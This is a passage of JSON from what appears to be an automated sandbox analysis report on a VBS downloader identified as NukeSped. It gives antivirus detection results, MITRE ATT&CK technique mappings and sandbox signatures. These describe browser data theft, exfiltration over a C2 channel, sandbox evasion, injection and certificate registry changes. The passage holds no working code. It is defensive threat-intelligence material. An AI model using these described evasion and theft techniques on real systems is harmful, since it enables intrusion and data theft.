Files"],"threat_score":100,"verdict":"malicious"},{"analysis_start_time":"2026-07-06T13:21:57+00:00","contacted_countries":["USA"],"environment_description":"Windows 10 64 bit","environment_id":160,"id":"6a4babf4606f9634490c9178","indicators_count":{"informative":76,"malicious":5,"suspicious":14},"is_in_unified_schema":true,"malware_family":"TrojanDownloader.NukeSped","state":"SUCCESS","submit_name":"8889f1b67aea6896945506dae192326149f6c5db87e9b04fa08ac9a142a87775.bin","tags":["Network Traffic"],"threat_score":87,"verdict":"malicious"}],"stats":{"contacted_hosts_count":1,"contacted_urls_count":34,"dns_resolutions_count":1,"dropped_files_count":0,"embedded_domains_count":0,"embedded_ips_count":0,"embedded_urls_count":0,"extracted_files_count":1,"files_deleted_count":0,"files_written_count":5,"http_requests_count":34,"imported_dlls_count":84,"injected_processes_count":0,"mutex_created_count":8,"process_count":1,"registry_keys_created_count":5,"registry_keys_deleted_count":0,"registry_keys_modified_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":5,"script_calls_count":0,"spawned_processes_count":1}},"all_analysis_status":{"fastscan_status":"SUCCESS","qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS"},"detections":{"attributions":{"malware_families":[{"sources":[{"report_id":"","report_type":"quickscan"}],"value":"VBS/TrojanDownloader.NukeSped"}]},"av_detections":{"engines":{"ahnlab":{"data_source":"MetaDefender","name":"AhnLab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"antiy":{"data_source":"MetaDefender","name":"Antiy","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"aurora":{"data_source":"MetaDefender","name":"Aurora","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"avira":{"data_source":"MetaDefender","name":"Avira","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"DR/SNH","verdict":"malicious"},"bitdefender":{"data_source":"MetaDefender","name":"Bitdefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"clamav":{"data_source":"MetaDefender","name":"ClamAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"cmc":{"data_source":"MetaDefender","name":"CMC","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"emsisoft":{"data_source":"MetaDefender","name":"Emsisoft","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"eset":{"data_source":"MetaDefender","name":"ESET","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"VBS/TrojanDownloader.NukeSped.U trojan","verdict":"malicious"},"filseclab":{"data_source":"MetaDefender","name":"Filseclab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"gridinsoft":{"data_source":"MetaDefender","name":"Gridinsoft","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"huorong":{"data_source":"MetaDefender","name":"Huorong","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"k7":{"data_source":"MetaDefender","name":"K7","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"lionic":{"data_source":"MetaDefender","name":"Lionic","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"nanoav":{"data_source":"MetaDefender","name":"NANOAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"netgate":{"data_source":"MetaDefender","name":"NETGATE","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"rocketcyber":{"data_source":"MetaDefender","name":"RocketCyber","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"sentinelone":{"data_source":"MetaDefender","name":"SentinelOne","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"sophos":{"data_source":"MetaDefender","name":"Sophos","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"tachyon":{"data_source":"MetaDefender","name":"TACHYON","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"trellix":{"data_source":"MetaDefender","name":"Trellix","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"varist":{"data_source":"MetaDefender","name":"Varist","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"viritexplorer":{"data_source":"MetaDefender","name":"Vir.IT eXplorer","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"virusblokada":{"data_source":"MetaDefender","name":"VirusBlokAda","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"xcitium":{"data_source":"MetaDefender","name":"Xcitium","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"zillya":{"data_source":"MetaDefender","name":"Zillya!","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"}}},"incidents":[{"details":[{"detail":"POSTs data to a web server"},{"detail":"Found browser information locations related strings"}],"details_count":2,"name":"Spyware","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"details":[{"detail":"May check for the presence of a forensics/monitoring tool"}],"details_count":1,"name":"Evasive","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"details":[{"detail":"Contacts 1 domain and 1 host"}],"details_count":1,"name":"Network Behavior","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]}],"mitre_attacks":[{"attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"malicious","value":"Able to execute commands through Windows command interpreter (ASP)"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Execution","technique":"Windows Command Shell"},{"attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Execution","technique":"Native API"},{"attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Modifies system certificates settings"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Persistence","technique":"Modify Registry"},{"attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Encrypted Channel"},{"attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion"},{"attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Obfuscated Files or Information"},{"attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Credential Access","technique":"OS Credential Dumping"},{"attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Language Discovery"},{"attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Location Discovery"},{"attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Discovery","technique":"File and Directory Discovery"},{"attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation"},{"attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Contains ability to post data to a web server"},{"type":"informative","value":"Contains ability to set the value of an HTTP request header"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Web Protocols"},{"attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Found browser information locations related strings"},{"type":"suspicious","value":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Collection","technique":"Data from Local System"},{"attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking"},{"attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Data Encoding"},{"attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Disable or Modify Tools"},{"attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Persistence","technique":"Windows Service"},{"attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Service Discovery"},{"attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}],"tactic":"Collection","technique":"Data from Information Repositories"},{"attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Execution","technique":"Command and Scripting Interpreter"},{"attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Discovery","technique":"Query Registry"},{"attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"},{"type":"informative","value":"Intercepted relevant COM error"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Persistence","technique":"Component Object Model Hijacking"},{"attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","identifiers":[{"type":"suspicious","value":"Executes a VBS file"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Execution","technique":"Visual Basic"},{"attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"informative","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Found WMI keywords in script (string)"},{"type":"informative","value":"Executes WMI queries known to be used for VM detection"},{"type":"informative","value":"Executes WMI queries"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Execution","technique":"Windows Management Instrumentation"},{"attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Queries process mitigation policy via NtQueryInformationProcess"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"System Checks"},{"attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Observed system process names in POST request"},{"type":"suspicious","value":"POSTs data to a web server"},{"type":"malicious","value":"Collects system information using POST request"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel"},{"attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Command and Control","technique":"DNS"},{"attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Execution Guardrails"},{"attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Resource Development","technique":"Domains"},{"attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Windows system process connects to a network"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Process Injection"},{"attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call"},{"attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Calls an API typically used to import asymmetric cryptographic keys into a CSP"},{"type":"informative","value":"Calls an API typically used to encrypt a block of data"}],"sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Asymmetric Cryptography"},{"attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"suspicious","value":"Script file shows a combination of malicious behaviors"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}],"tactic":"Execution","technique":"Malicious File"},{"attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Mutual Exclusion"},{"attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Deletes registry keys"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Indicator Removal"},{"attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Executes WMI queries in order to detect running processes"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Discovery","technique":"Process Discovery"},{"attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Execution","technique":"Shared Modules"},{"attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"May check for the presence of a forensics/monitoring tool"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}],"tactic":"Discovery","technique":"Security Software Discovery"},{"attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Initial Access","technique":"Phishing"},{"attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"References to WMI query strings used to retrieve network adapter information"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Executes WMI queries to gather system information"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the cryptographic machine GUID"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Information Discovery"},{"attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Application Layer Protocol"},{"attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Masquerading"},{"attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Code Signing"},{"attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Calls an API typically used to decrypt a block of data"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information"},{"attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Contains ability to transfer data using curl"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Ingress Tool Transfer"},{"attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Hide Artifacts"}],"rule_matches":{},"sandbox_signatures":[{"category":"Network Related","description":"$22","id":"string-576","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to transfer data using curl","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"details too long to display","id":"network-40","level":"malicious","mitre_attack_id":"T1041","name":"Collects system information using POST request","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"Process \"WScript.exe\" with commandline \"\"C:\\\\kim_jong_un_is_a_fat_ugly_pig.vbs\"\" (UID: 00000000-00004736)","id":"target-17","level":"suspicious","mitre_attack_id":"T1059.005","name":"Executes a VBS file","origin":"Monitored Target","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$23","id":"string-326","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve environment variable settings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"System Security","description":"\"WScript.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","id":"registry-67","level":"informative","mitre_attack_id":"T1543.003","name":"Creates or modifies windows services","origin":"Registry Access","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00004736)","id":"api-297","level":"informative","mitre_attack_id":"T1003","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"External Systems","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA TCPv4 invalid checksum\" (SID: 2200074, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","id":"suricata-0","level":"informative","name":"Detected Suricata Alert","origin":"Suricata Alerts","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"System Security","description":"\"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"22FF89586561FC2D52F77491E9F1EFF1B80BE33E\")\n \"WScript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\22FF89586561FC2D52F77491E9F1EFF1B80BE33E\"; Key: \"BLOB\")","id":"registry-38","level":"informative","mitre_attack_id":"T1112","name":"Modifies system certificates settings","origin":"Registry Access","relevance":5,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"Environment 